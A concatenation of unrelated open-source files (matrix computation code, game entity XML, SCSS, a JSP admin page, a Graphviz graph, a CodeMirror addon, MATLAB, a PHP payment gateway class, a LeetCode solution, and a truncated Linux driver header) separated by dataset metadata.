A0[4][3] = OP_l_5_c_4_r_+t321-OP_l_1_c_4_r_*t174-OP_l_10_c_4_r_*t88-OP_l_11_c_4_r_*t85+OP_l_3_c_4_r_*t171+OP_l_2_c_4_r_*t183+OP_l_12_c_4_r_*t93-t69*t325-t78*t329+t75*t333+t166*t303+t163*t307-t161*t311-dvyNoise*t75*t85-dvzNoise*t78*t93;
A0[4][4] = OP_l_5_c_5_r_-OP_l_1_c_5_r_*t174-OP_l_10_c_5_r_*t88-OP_l_11_c_5_r_*t85+OP_l_3_c_5_r_*t171+OP_l_2_c_5_r_*t183+OP_l_12_c_5_r_*t93-t88*t325-t85*t333+t93*t329-t174*t303+t171*t311+t183*t307+dvxNoise*(t88*t88)+dvyNoise*(t85*t85)+dvzNoise*(t93*t93);
A0[4][5] = OP_l_5_c_6_r_+t389-OP_l_1_c_6_r_*t174-OP_l_10_c_6_r_*t88-OP_l_11_c_6_r_*t85+OP_l_3_c_6_r_*t171+OP_l_2_c_6_r_*t183+OP_l_12_c_6_r_*t93+t99*t325-t98*t329-t102*t333+t190*t303-t188*t307+t197*t311-dvxNoise*t88*t99-dvzNoise*t93*t98;
A0[4][6] = t346;
A0[4][7] = t350;
A0[4][8] = t354;
A0[4][9] = t325;
A0[4][10] = t333;
A0[4][11] = t329;
A0[5][0] = t34*t358+t48*t362-t56*t366-t39*t402;
A0[5][1] = -t39*t406-t119*t358+t123*t362+t127*t366;
A0[5][2] = -t39*t410+t146*t358-t152*t362+t158*t366;
A0[5][3] = OP_l_6_c_4_r_+t376+OP_l_10_c_4_r_*t99+OP_l_1_c_4_r_*t190-OP_l_2_c_4_r_*t188-OP_l_11_c_4_r_*t102-OP_l_12_c_4_r_*t98+OP_l_3_c_4_r_*t197-t69*t380-t78*t384+t75*t388+t166*t358+t163*t362-t161*t366-dvxNoise*t69*t99-dvyNoise*t75*t102;
A0[5][4] = OP_l_6_c_5_r_+t389+OP_l_10_c_5_r_*t99+OP_l_1_c_5_r_*t190-OP_l_2_c_5_r_*t188-OP_l_11_c_5_r_*t102-OP_l_12_c_5_r_*t98+OP_l_3_c_5_r_*t197-t88*t380-t85*t388+t93*t384-t174*t358+t171*t366+t183*t362-dvxNoise*t88*t99-dvzNoise*t93*t98;
A0[5][5] = OP_l_6_c_6_r_+OP_l_10_c_6_r_*t99+OP_l_1_c_6_r_*t190-OP_l_2_c_6_r_*t188-OP_l_11_c_6_r_*t102-OP_l_12_c_6_r_*t98+OP_l_3_c_6_r_*t197+t99*t380-t98*t384-t102*t388+t190*t358-t188*t362+t197*t366+dvxNoise*(t99*t99)+dvyNoise*(t102*t102)+dvzNoise*(t98*t98);
A0[5][6] = t402;
A0[5][7] = t406;
A0[5][8] = t410;
A0[5][9] = t380;
A0[5][10] = t388;
A0[5][11] = t384;
A0[6][0] = -t411+OP_l_7_c_1_r_*t34+OP_l_7_c_2_r_*t48-OP_l_7_c_3_r_*t56;
A0[6][1] = -t412-OP_l_7_c_1_r_*t119+OP_l_7_c_2_r_*t123+OP_l_7_c_3_r_*t127;
A0[6][2] = -t413+OP_l_7_c_1_r_*t146-OP_l_7_c_2_r_*t152+OP_l_7_c_3_r_*t158;
A0[6][3] = OP_l_7_c_4_r_-OP_l_7_c_3_r_*t161+OP_l_7_c_2_r_*t163+OP_l_7_c_1_r_*t166-OP_l_7_c_10_r_*t69+OP_l_7_c_11_r_*t75-OP_l_7_c_12_r_*t78;
A0[6][4] = OP_l_7_c_5_r_+OP_l_7_c_3_r_*t171-OP_l_7_c_1_r_*t174+OP_l_7_c_2_r_*t183-OP_l_7_c_11_r_*t85-OP_l_7_c_10_r_*t88+OP_l_7_c_12_r_*t93;
A0[6][5] = OP_l_7_c_6_r_-OP_l_7_c_2_r_*t188+OP_l_7_c_1_r_*t190+OP_l_7_c_3_r_*t197+OP_l_7_c_10_r_*t99-OP_l_7_c_12_r_*t98-OP_l_7_c_11_r_*t102;
A0[6][6] = OP_l_7_c_7_r_;
A0[6][7] = OP_l_7_c_8_r_;
A0[6][8] = OP_l_7_c_9_r_;
A0[6][9] = OP_l_7_c_10_r_;
A0[6][10] = OP_l_7_c_11_r_;
A0[6][11] = OP_l_7_c_12_r_;
A0[7][0] = -t198+OP_l_8_c_1_r_*t34+OP_l_8_c_2_r_*t48-OP_l_8_c_3_r_*t56;
A0[7][1] = -t200-OP_l_8_c_1_r_*t119+OP_l_8_c_2_r_*t123+OP_l_8_c_3_r_*t127;
A0[7][2] = -t202+OP_l_8_c_1_r_*t146-OP_l_8_c_2_r_*t152+OP_l_8_c_3_r_*t158;
A0[7][3] = OP_l_8_c_4_r_-OP_l_8_c_3_r_*t161+OP_l_8_c_2_r_*t163+OP_l_8_c_1_r_*t166-OP_l_8_c_10_r_*t69+OP_l_8_c_11_r_*t75-OP_l_8_c_12_r_*t78;
A0[7][4] = OP_l_8_c_5_r_+OP_l_8_c_3_r_*t171-OP_l_8_c_1_r_*t174+OP_l_8_c_2_r_*t183-OP_l_8_c_11_r_*t85-OP_l_8_c_10_r_*t88+OP_l_8_c_12_r_*t93;
A0[7][5] = OP_l_8_c_6_r_-OP_l_8_c_2_r_*t188+OP_l_8_c_1_r_*t190+OP_l_8_c_3_r_*t197+OP_l_8_c_10_r_*t99-OP_l_8_c_12_r_*t98-OP_l_8_c_11_r_*t102;
A0[7][6] = OP_l_8_c_7_r_;
A0[7][7] = OP_l_8_c_8_r_;
A0[7][8] = OP_l_8_c_9_r_;
A0[7][9] = OP_l_8_c_10_r_;
A0[7][10] = OP_l_8_c_11_r_;
A0[7][11] = OP_l_8_c_12_r_;
A0[8][0] = -t238+OP_l_9_c_1_r_*t34+OP_l_9_c_2_r_*t48-OP_l_9_c_3_r_*t56;
A0[8][1] = -t240-OP_l_9_c_1_r_*t119+OP_l_9_c_2_r_*t123+OP_l_9_c_3_r_*t127;
A0[8][2] = -t242+OP_l_9_c_1_r_*t146-OP_l_9_c_2_r_*t152+OP_l_9_c_3_r_*t158;
A0[8][3] = OP_l_9_c_4_r_-OP_l_9_c_3_r_*t161+OP_l_9_c_2_r_*t163+OP_l_9_c_1_r_*t166-OP_l_9_c_10_r_*t69+OP_l_9_c_11_r_*t75-OP_l_9_c_12_r_*t78;
A0[8][4] = OP_l_9_c_5_r_+OP_l_9_c_3_r_*t171-OP_l_9_c_1_r_*t174+OP_l_9_c_2_r_*t183-OP_l_9_c_11_r_*t85-OP_l_9_c_10_r_*t88+OP_l_9_c_12_r_*t93;
A0[8][5] = OP_l_9_c_6_r_-OP_l_9_c_2_r_*t188+OP_l_9_c_1_r_*t190+OP_l_9_c_3_r_*t197+OP_l_9_c_10_r_*t99-OP_l_9_c_12_r_*t98-OP_l_9_c_11_r_*t102;
A0[8][6] = OP_l_9_c_7_r_;
A0[8][7] = OP_l_9_c_8_r_;
A0[8][8] = OP_l_9_c_9_r_;
A0[8][9] = OP_l_9_c_10_r_;
A0[8][10] = OP_l_9_c_11_r_;
A0[8][11] = OP_l_9_c_12_r_;
A0[9][0] = OP_l_10_c_1_r_*t34-OP_l_10_c_7_r_*t39+OP_l_10_c_2_r_*t48-OP_l_10_c_3_r_*t56;
A0[9][1] = -OP_l_10_c_8_r_*t39-OP_l_10_c_1_r_*t119+OP_l_10_c_2_r_*t123+OP_l_10_c_3_r_*t127;
A0[9][2] = -OP_l_10_c_9_r_*t39+OP_l_10_c_1_r_*t146-OP_l_10_c_2_r_*t152+OP_l_10_c_3_r_*t158;
A0[9][3] = OP_l_10_c_4_r_-t279-OP_l_10_c_3_r_*t161+OP_l_10_c_2_r_*t163+OP_l_10_c_1_r_*t166+OP_l_10_c_11_r_*t75-OP_l_10_c_12_r_*t78;
A0[9][4] = OP_l_10_c_5_r_-t336+OP_l_10_c_3_r_*t171-OP_l_10_c_1_r_*t174+OP_l_10_c_2_r_*t183-OP_l_10_c_11_r_*t85+OP_l_10_c_12_r_*t93;
A0[9][5] = OP_l_10_c_6_r_+t378-OP_l_10_c_2_r_*t188+OP_l_10_c_1_r_*t190+OP_l_10_c_3_r_*t197-OP_l_10_c_12_r_*t98-OP_l_10_c_11_r_*t102;
A0[9][6] = OP_l_10_c_7_r_;
A0[9][7] = OP_l_10_c_8_r_;
A0[9][8] = OP_l_10_c_9_r_;
A0[9][9] = OP_l_10_c_10_r_;
A0[9][10] = OP_l_10_c_11_r_;
A0[9][11] = OP_l_10_c_12_r_;
A0[10][0] = OP_l_11_c_1_r_*t34-OP_l_11_c_7_r_*t39+OP_l_11_c_2_r_*t48-OP_l_11_c_3_r_*t56;
A0[10][1] = -OP_l_11_c_8_r_*t39-OP_l_11_c_1_r_*t119+OP_l_11_c_2_r_*t123+OP_l_11_c_3_r_*t127;
A0[10][2] = -OP_l_11_c_9_r_*t39+OP_l_11_c_1_r_*t146-OP_l_11_c_2_r_*t152+OP_l_11_c_3_r_*t158;
A0[10][3] = OP_l_11_c_4_r_+t276-OP_l_11_c_3_r_*t161+OP_l_11_c_2_r_*t163+OP_l_11_c_1_r_*t166-OP_l_11_c_10_r_*t69-OP_l_11_c_12_r_*t78;
A0[10][4] = OP_l_11_c_5_r_-t337+OP_l_11_c_3_r_*t171-OP_l_11_c_1_r_*t174+OP_l_11_c_2_r_*t183-OP_l_11_c_10_r_*t88+OP_l_11_c_12_r_*t93;
A0[10][5] = OP_l_11_c_6_r_-t395-OP_l_11_c_2_r_*t188+OP_l_11_c_1_r_*t190+OP_l_11_c_3_r_*t197+OP_l_11_c_10_r_*t99-OP_l_11_c_12_r_*t98;
A0[10][6] = OP_l_11_c_7_r_;
A0[10][7] = OP_l_11_c_8_r_;
A0[10][8] = OP_l_11_c_9_r_;
A0[10][9] = OP_l_11_c_10_r_;
A0[10][10] = OP_l_11_c_11_r_;
A0[10][11] = OP_l_11_c_12_r_;
A0[11][0] = OP_l_12_c_1_r_*t34-OP_l_12_c_7_r_*t39+OP_l_12_c_2_r_*t48-OP_l_12_c_3_r_*t56;
A0[11][1] = -OP_l_12_c_8_r_*t39-OP_l_12_c_1_r_*t119+OP_l_12_c_2_r_*t123+OP_l_12_c_3_r_*t127;
A0[11][2] = -OP_l_12_c_9_r_*t39+OP_l_12_c_1_r_*t146-OP_l_12_c_2_r_*t152+OP_l_12_c_3_r_*t158;
A0[11][3] = OP_l_12_c_4_r_-t287-OP_l_12_c_3_r_*t161+OP_l_12_c_2_r_*t163+OP_l_12_c_1_r_*t166-OP_l_12_c_10_r_*t69+OP_l_12_c_11_r_*t75;
A0[11][4] = OP_l_12_c_5_r_+t327+OP_l_12_c_3_r_*t171-OP_l_12_c_1_r_*t174+OP_l_12_c_2_r_*t183-OP_l_12_c_11_r_*t85-OP_l_12_c_10_r_*t88;
A0[11][5] = OP_l_12_c_6_r_-t396-OP_l_12_c_2_r_*t188+OP_l_12_c_1_r_*t190+OP_l_12_c_3_r_*t197+OP_l_12_c_10_r_*t99-OP_l_12_c_11_r_*t102;
A0[11][6] = OP_l_12_c_7_r_;
A0[11][7] = OP_l_12_c_8_r_;
A0[11][8] = OP_l_12_c_9_r_;
A0[11][9] = OP_l_12_c_10_r_;
A0[11][10] = OP_l_12_c_11_r_;
A0[11][11] = OP_l_12_c_12_r_;
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0" encoding="utf-8"?>
<EntityTemplates>
<EntityTemplate name="Flashlight">
<Components>
<Component name="TransformComponent"></Component>
<Component name="VelocityComponent"></Component>
<Component name="DirectionComponent"></Component>
<Component name="ClickableComponent"></Component>
<Component name="WearableAnimatedSpriteComponent">
<Parameters>
<Parameter name="sprite" type="string" value="player_toolbox" />
</Parameters>
</Component>
<Component name="BasicInteractableComponent"></Component>
<Component name="BasicMoverComponent"></Component>
<Component name="BasicItemComponent">
<ExtendedParameters>
<ItemCapability name="MeleeWeaponCapability">
<ItemCapabilityParameters>
<ItemCapabilityParameter name="damageAmount" type="int" value="5" />
<ItemCapabilityParameter name="damageType" type="string" value="Bludgeon" />
</ItemCapabilityParameters>
</ItemCapability>
</ExtendedParameters>
</Component>
<Component name="DamageableComponent">
<Parameters>
<Parameter name="MaxHealth" type="int" value="20" />
</Parameters>
</Component>
<Component name="LightComponent">
<Parameters>
<Parameter name="startState" type="string" value="Off" />
</Parameters>
</Component>
</Components>
</EntityTemplate>
<EntityTemplate name="WallLight">
<Components>
<Component name="TransformComponent"></Component>
<Component name="VelocityComponent"></Component>
<Component name="DirectionComponent"></Component>
<Component name="ClickableComponent"></Component>
<Component name="SpriteComponent"></Component>
<Component name="BasicInteractableComponent"></Component>
<Component name="BasicMoverComponent"></Component>
<Component name="WallMountedComponent"></Component>
<Component name="LightComponent">
<Parameters>
<Parameter name="startState" type="string" value="On" />
</Parameters>
</Component>
</Components>
</EntityTemplate>
</EntityTemplates>
|
{
"pile_set_name": "Github"
}
|
// Mix-ins
%padding-small {
padding: $padding-x-small $padding-x-small * 2;
@media (max-width: 1000px) {
padding: $padding-x-small $padding-x-small;
}
}
%padding-regular {
padding: $padding-small $padding-large;
@media (max-width: 1000px) {
padding: $padding-small * 1.5 $padding-large / 1.6;
}
}
%link-hover {
text-decoration: underline;
color: darken($link-color, 15%);
}
// Buttons
.button {
border-radius: 0.3em;
border: 1px solid;
display: inline-block;
margin: 1em 0;
padding: 0.5em 0.75em;
}
a.button:hover {
background: $link-color;
border: 1px solid $link-color;
color: $background-color;
text-decoration: none;
}
// States
.disabled {
opacity: 0.7;
}
|
{
"pile_set_name": "Github"
}
|
<%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c" %>
<%@ page language="java" contentType="text/html; charset=utf-8" pageEncoding="utf-8" isELIgnored="false" %>
<%@ page session="false" %>
<!DOCTYPE html>
<html>
<head>
<title>Create/Edit Override Group </title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<%@ include file="/resources/js/webjars.include" %>
<script type="text/javascript">
var selectedGroupId = "";
// common function for grid reload
function reloadGrid(gridId) {
$(gridId).setGridParam({datatype:'json', page: 1}).trigger("reloadGrid");
}
var enabledMethods = {};
var selectingRows = false;
function selectRows(groupId) {
$.ajax({
type: "GET",
url: '<c:url value="/api/group/"/>' + groupId,
success: function(data){
selectingRows = true;
enabledMethods = {};
$.each(data.methods, function(index, value) {
enabledMethods[value.idString] = value.id;
});
var grid = $("#overrideList");
grid.resetSelection();
var ids = grid.getDataIDs();
for (var i = 0, il = ids.length; i < il; i++) {
if(enabledMethods[ids[i]] != null) {
grid.setSelection(ids[i], true);
}
}
selectingRows = false;
}
});
}
$(document).ready(function() {
// bind window resize to fix grid width
$(window).bind('resize', function() {
$("#groupsList").setGridWidth($("#groupsDiv").width());
$("#overrideList").setGridWidth($("#groupOverridesDiv").width());
});
$("#groupsList").jqGrid({
url: '<c:url value="/api/group"/>',
autowidth: true,
pgbuttons: false, // disable page control like next, back button
pgtext: null,
datatype: "json",
colNames: [ 'ID', 'Group Name'],
colModel: [ {
name: 'id',
index: 'id',
width: 55,
hidden: true
}, {
name: 'name',
path: 'name',
width: 200,
editable: true,
align: 'left'
}],
jsonReader: {
page: "page",
total: "total",
records: "records",
root: 'groups',
repeatitems: false
},
loadonce: true,
cellurl: '/testproxy/api/group',
gridComplete: function() {
if ($("#groupsList").length > 0){
$("#groupsList").setSelection($("#groupsList").getDataIDs()[0], true);
}
},
onSelectRow: function(id) {
if (id) {
var ret = $("#groupsList").jqGrid('getRowData',id);
var groupName = ret.name;
$("#overrideList").jqGrid("setCaption", ret.name + " Methods");
selectedGroupId = id;
}
selectRows(id);
},
editurl: '<c:url value="/api/group/" />',
rowList: [],
rowNum: 10000,
pager: '#groupNavGrid',
sortname: 'name',
viewrecords: true,
sortorder: "asc",
caption: 'Groups'
});
$("#groupsList").jqGrid('navGrid', '#groupNavGrid',
{ add: true, edit: false, del: true, search: false },
{},
{
url: '<c:url value="/api/group"/>',
reloadAfterSubmit: true,
closeAfterAdd: true,
afterSubmit: function () {
reloadGrid("#groupsList");
return [true];
}
},
{
mtype: 'DELETE',
reloadAfterSubmit: false,
afterSubmit: function() {
reloadGrid("#groupsList");
return [true];
},
onclickSubmit: function(rp_ge, postdata) {
rp_ge.url = '<c:url value="/api/group/" />' + selectedGroupId;
}
},
{
}
);
$("#groupsList").jqGrid('gridResize');
$("#overrideList").jqGrid({
url: '<c:url value="/api/methods"/>',
autowidth: true,
pgbuttons: false, // disable page control like next, back button
pgtext: null,
datatype: "json",
colNames: ['ID', 'Class', 'Method'],
colModel: [
{
name: 'idString',
index: 'id',
key: true,
width: 400,
hidden: true
}, {
name: 'className',
index: 'className',
width: 300,
editable: false
}, {
name: 'methodName',
index: 'methodName',
width: 300,
editable: false
}],
jsonReader: {
page: "page",
total: "total",
records: "records",
root: 'methods',
repeatitems: false
},
height: "auto",
loadonce: true,
multiselect: true,
rowNum: 10000,
sortname: 'idString',
sortorder: 'asc',
viewrecords: true,
onSelectRow: function(id, status){
if (selectedGroupId === "" || selectingRows)
return;
if (status) {
$.ajax({
type:"POST",
url:"<c:url value='/api/group/'/>" + selectedGroupId,
data: ({'addOverride': id})
});
} else {
$.ajax({
type:"POST",
url:"<c:url value='/api/group/'/>" + selectedGroupId,
data: ({'removeOverride': id})
});
}
}
});
$("#overrideList").jqGrid('navGrid', '#overrideNavGrid',
{ add: false, edit: false, del: false, search: false },
{},
{},
{},
{}
);
$("#overrideList").jqGrid('gridResize');
});
</script>
</head>
<body>
<nav class="navbar navbar-default" role="navigation">
<div class="container-fluid">
<div class="navbar-header">
<a class="navbar-brand" href="#">Odo</a>
</div>
<ul class="nav navbar-nav navbar-left">
<%@ include file="navigation_part.jsp" %>
</ul>
</div>
</nav>
<div class="container-fluid">
<div class="row">
<div id="groupsDiv" class="col-xs-4">
<table id="groupsList"></table>
<div id="groupNavGrid"></div>
</div>
<div id="groupOverridesDiv" class="col-xs-8">
<div>
<table id="overrideList"></table>
<div id="overrideNavGrid"></div>
</div>
</div>
</div>
</div>
</body>
</html>
|
{
"pile_set_name": "Github"
}
|
digraph g {
node [label="\N", fontsize=14, fontname="Times-Roman", fontcolor=black, shape=box, color=black, width="0.5"];
edge [fontsize=14, fontname="Times-Roman", fontcolor=black, color=black];
graph [bb="0,0,726,220"];
23296 [label="23296\n?", width="0.72", pname="?", kind=proc, pos="450,200", height="0.56"];
"182948-1" [label="182948-1\n182949-1\npipe", fontsize=7, shape=doublecircle, width="0.92", kind=file, fname=pipe, subkind=pipe, pos="205,34", height="0.93"];
23310 [label="23310\ncat", width="0.72", pname=cat, kind=proc, pos="205,124", height="0.56"];
"182950-1" [label="182950-1\n182951-1\npipe", fontsize=7, shape=doublecircle, width="0.92", kind=file, fname=pipe, subkind=pipe, pos="289,34", height="0.93"];
23311 [label="23311\ncat", width="0.69", pname=cat, kind=proc, pos="289,124", height="0.56"];
"182952-1" [label="182952-1\n182953-1\npipe", fontsize=7, shape=doublecircle, width="0.92", kind=file, fname=pipe, subkind=pipe, pos="373,34", height="0.93"];
23312 [label="23312\ncat", width="0.72", pname=cat, kind=proc, pos="373,124", height="0.56"];
"182954-1" [label="182954-1\n182955-1\npipe", fontsize=7, shape=doublecircle, width="0.92", kind=file, fname=pipe, subkind=pipe, pos="457,34", height="0.93"];
23313 [label="23313\ncat", width="0.72", pname=cat, kind=proc, pos="450,124", height="0.56"];
"79893+2568" [label="79893+2568\n/usr/share/lib/termcap", shape=ellipse, width="2.14", kind=file, fname="/usr/share/lib/termcap", pos="77,34", height="0.79"];
"85+2560" [label="85+2560\n?", shape=ellipse, width="1.14", kind=file, fname="?", pos="685,34", height="0.79"];
23314 [label="23314\ncat", width="0.72", pname=cat, kind=proc, pos="547,124", height="0.56"];
"4151865284+0" [label="4151865284+0\n/tmp/termcap", shape=ellipse, width="1.64", kind=file, fname="/tmp/termcap", pos="567,34", height="0.79"];
23296 -> 23310 [pos="e,231,135 424,193 386,184 314,164 255,144 250,142 245,140 240,139"];
23296 -> 23311 [pos="e,314,136 424,188 396,174 353,154 323,140"];
23311 -> "182948-1" [dir=back, pos="s,270,104 263,97 252,84 239,71 228,59"];
23310 -> "182948-1" [dir=forward, pos="e,205,68 205,104 205,96 205,87 205,78"];
23296 -> 23312 [pos="e,394,144 429,180 420,171 410,161 401,151"];
23312 -> "182952-1" [dir=forward, pos="e,373,68 373,104 373,96 373,87 373,78"];
23312 -> "182950-1" [dir=back, pos="s,354,104 347,97 336,84 323,71 312,59"];
23296 -> 23313 [pos="e,450,144 450,180 450,172 450,163 450,154"];
23313 -> "182954-1" [dir=forward, pos="e,455,67 452,104 453,96 453,87 454,77"];
23311 -> "182950-1" [dir=forward, pos="e,289,68 289,104 289,96 289,87 289,78"];
23310 -> "79893+2568" [dir=back, pos="s,179,106 171,100 153,87 131,72 113,60"];
23296 -> "85+2560" [dir=both, pos="s,476,195 e,660,57 486,192 521,180 536,171 573,144 604,121 632,88 653,65"];
23296 -> 23314 [pos="e,521,144 476,180 487,171 501,160 513,150"];
23314 -> "85+2560" [dir=both, pos="s,573,107 e,656,54 582,102 598,91 617,79 635,68 639,65 643,62 647,60"];
23314 -> "182954-1" [dir=back, pos="s,527,104 520,97 507,84 493,70 481,58"];
23296 -> "85+2560" [dir=both, pos="s,476,199 e,671,61 486,196 537,182 551,173 591,144 620,122 646,92 665,69"];
23314 -> "4151865284+0" [dir=forward, pos="e,561,63 552,104 554,95 556,84 559,73"];
23313 -> "182952-1" [dir=back, pos="s,433,104 426,96 416,85 405,71 395,60"];
}
|
{
"pile_set_name": "Github"
}
|
// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE
(function(mod) {
if (typeof exports == "object" && typeof module == "object") // CommonJS
mod(require("../../lib/codemirror"));
else if (typeof define == "function" && define.amd) // AMD
define(["../../lib/codemirror"], mod);
else // Plain browser env
mod(CodeMirror);
})(function(CodeMirror) {
"use strict";
CodeMirror.registerGlobalHelper("fold", "comment", function(mode) {
return mode.blockCommentStart && mode.blockCommentEnd;
}, function(cm, start) {
var mode = cm.getModeAt(start), startToken = mode.blockCommentStart, endToken = mode.blockCommentEnd;
if (!startToken || !endToken) return;
var line = start.line, lineText = cm.getLine(line);
var startCh;
for (var at = start.ch, pass = 0;;) {
var found = at <= 0 ? -1 : lineText.lastIndexOf(startToken, at - 1);
if (found == -1) {
if (pass == 1) return;
pass = 1;
at = lineText.length;
continue;
}
if (pass == 1 && found < start.ch) return;
if (/comment/.test(cm.getTokenTypeAt(CodeMirror.Pos(line, found + 1)))) {
startCh = found + startToken.length;
break;
}
at = found - 1;
}
var depth = 1, lastLine = cm.lastLine(), end, endCh;
outer: for (var i = line; i <= lastLine; ++i) {
var text = cm.getLine(i), pos = i == line ? startCh : 0;
for (;;) {
var nextOpen = text.indexOf(startToken, pos), nextClose = text.indexOf(endToken, pos);
if (nextOpen < 0) nextOpen = text.length;
if (nextClose < 0) nextClose = text.length;
pos = Math.min(nextOpen, nextClose);
if (pos == text.length) break;
if (pos == nextOpen) ++depth;
else if (!--depth) { end = i; endCh = pos; break outer; }
++pos;
}
}
if (end == null || line == end && endCh == startCh) return;
return {from: CodeMirror.Pos(line, startCh),
to: CodeMirror.Pos(end, endCh)};
});
});
|
{
"pile_set_name": "Github"
}
|
% petit test rapide pour verifier que la detection d'une harmonique
% sur un contour (ici contour d'une cellule carree, on veut l'harmonique
% 4 , donc le 5 eme point du tableau) ne depend pas de la taille de la
% transformee de fourier.
img = logical(zeros(100, 100));
img(26:75, 26:75) = 1;
N = 96;
% teste N directions possibles.
for i = 1:N
angle = (i-1)*2*pi/N;
x0 = 50;
y0 = 50;
dx = cos(angle);
dy = sin(angle);
len = 1;
% distingue les lignes horizontales et verticales
if abs(dx)>abs(dy)
% part de (x0,y0) en incrementant x0
trueY = y0;
dx = sign(dx);
while img(y0, x0)
x0 = x0 + dx;
trueY = trueY + dy;
if abs(trueY - y0) > .5
y0 = y0+sign(dy);
len = len+sqrt(2);
else
len = len + 1;
end
end
else
% part de (x0,y0) en incrementant y0
trueX = x0;
dy = sign(dy);
while img(y0, x0)
y0 = y0 + dy;
trueX = trueX + dx;
if abs(trueX - x0) > .5
x0 = x0+sign(dx);
len = len+sqrt(2);
else
len = len + 1;
end
end
end
ori(i) = len;
end
|
{
"pile_set_name": "Github"
}
|
<?php
/*****************************************************************************************
文件: payment/submit.php
备注: asiabill支付提交页
版本: 4.x
网站: www.phpok.com
作者: qinggan <qinggan@188.com>
时间: 2015年03月24日 09时56分
*****************************************************************************************/
if(!defined("PHPOK_SET")){exit("<h1>Access Denied</h1>");}
class asiabill_submit
{
public $param;
public $order;
public $baseurl;
public $paydir;
private $config;
public function __construct($order,$param)
{
$this->param = $param;
$this->order = $order;
$this->paydir = $GLOBALS['app']->dir_root.'gateway/payment/asiabill/';
$this->baseurl = $GLOBALS['app']->url;
if($this->param['param']){
$this->config = array('mer_no'=>$this->param['param']["mer_no"]);
$this->config['gateway_no'] = $this->param['param']["gateway_no"];
$this->config['sign_key'] = $this->param['param']["sign_key"];
$this->config['action_url'] = $this->param['param']['action'];
$this->config['utype'] = $this->param['param']['utype'];
}
include_once($this->paydir."lib/asiabill.php");
}
/**
* 执行提交按钮
**/
public function submit()
{
global $app;
$htmlbutton = $this->get_html();
$htmlbutton .= "\n";
$htmlbutton .= '<script type="text/javascript">'."\n";
$htmlbutton .= 'document.getElementById("asiabill_payment").submit();'."\n";
$htmlbutton .= '</script>'."\n";
$app->assign('htmlinfo',$htmlbutton);
$app->view('payment/to_payment');
}
private function get_html()
{
global $app;
$obj = new asiabill_payment($this->config);
$return_url = $app->url('payment','notice','id='.$this->order['id'],'www',true);
$notify_url = $this->baseurl."gateway/payment/asiabill/notify_url.php";
$currency = $app->model('currency')->get_one($this->param['currency'],'code');
$price = price_format_val($this->order['price'],$this->order['currency_id'],$currency['id']);
$obj->params('sn',$this->order['sn'].'-'.$this->order['id']);
$obj->params('currency',$currency['code']);
$obj->params('price',$price);
$obj->params('return_url',$return_url);
$obj->params('notify_url',$notify_url);
$orderinfo = $app->model('order')->get_one($this->order['sn'],'sn');
if(!$orderinfo){
$app->error(P_Lang('订单信息不存在'));
}
$address = $app->model('order')->address($orderinfo['id'],'billing');
if(!$address){
$app->error(P_Lang('无账单地址,不支持此支付方式'));
}
$obj->params('firstname',$address['firstname']);
$obj->params('lastname',$address['lastname']);
$email = $address['email'] ? $address['email'] : $orderinfo['email'];
$obj->params('email',$email);
$mobile = $address['mobile'] ? $address['mobile'] : $orderinfo['mobile'];
$obj->params('mobile',$mobile);
$sql = "SELECT * FROM ".$app->db->prefix."world_location WHERE level=2 AND (name_en='".$address['country']."' OR name='".$address['country']."')";
$tmp = $app->db->get_one($sql);
if(!$tmp){
$tmp = array('code'=>'CN');
}
$obj->params('country',$tmp['code']);
$obj->params('city',$address['city']);
if($address['province']){
$obj->params('state',$address['province']);
}
$obj->params('address',$address['address']);
$obj->params('zipcode',$address['zipcode']);
$obj->params('is_mobile',$app->is_mobile());
$html = $obj->create_html();
$app->assign('htmlinfo',$html);
return $html;
}
public function select()
{
global $app;
$html = $this->get_html();
if($app->tpl->check_exists('payment/asiabill/html')){
return $app->tpl->fetch('payment/asiabill/html');
}
if(file_exists($app->dir_gateway.'payment/asiabill/html.html')){
return $app->tpl->fetch($app->dir_gateway.'payment/asiabill/html.html','abs-file');
}
return $html;
}
}
|
{
"pile_set_name": "Github"
}
|
// 540 medium 有序数组中的单一元素
// 异或解法跟136题一样
//
// 给定一个只包含整数的有序数组,每个元素都会出现两次,唯有一个数只会出现一次,找出这个数。
//
// 示例 1:
// 输入: [1,1,2,3,3,4,4,8,8]
// 输出: 2
// 示例 2:
// 输入: [3,3,7,7,10,11,11]
// 输出: 10
// 注意: 您的方案应该在 O(log n)时间复杂度和 O(1)空间复杂度中运行。
/**
* 解法1:滑动窗口
* @param {number[]} nums
* @return {number}
*/
var singleNonDuplicate = function(nums) {
for (let i = 0; i < nums.length; i++){
// 两个边界情况
if (i === 0 && nums[i]!==nums[i+1])return nums[i];
if (i === nums.length - 1 && nums[i]!==nums[i-1])return nums[i];
if (nums[i] !== nums[i+1] && nums[i] !== nums[i-1]){
return nums[i]
}
}
};
/**
* 解法2:位运算
* @param {number[]} nums
* @return {number}
*/
var singleNonDuplicate2 = function(nums) {
let a = nums[0]
for (let i = 1; i < nums.length; i++){
a = a ^ nums[i]
}
return a;
};
|
{
"pile_set_name": "Github"
}
|
/*
Samsung S5H1411 VSB/QAM demodulator driver
Copyright (C) 2008 Steven Toth <stoth@linuxtv.org>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*/
#ifndef __S5H1411_H__
#define __S5H1411_H__
#include <linux/kconfig.h>
#include <linux/dvb/frontend.h>
#define S5H1411_I2C_TOP_ADDR (0x32 >> 1)
#define S5H1411_I2C_QAM_ADDR (0x34 >> 1)
struct s5h1411_config {
/* serial/parallel output */
#define S5H1411_PARALLEL_OUTPUT 0
#define S5H1411_SERIAL_OUTPUT 1
u8 output_mode;
/* GPIO Setting */
#define S5H1411_GPIO_OFF 0
#define S5H1411_GPIO_ON 1
u8 gpio;
/* MPEG signal timing */
#define S5H1411_MPEGTIMING_CONTINOUS_INVERTING_CLOCK 0
#define S5H1411_MPEGTIMING_CONTINOUS_NONINVERTING_CLOCK 1
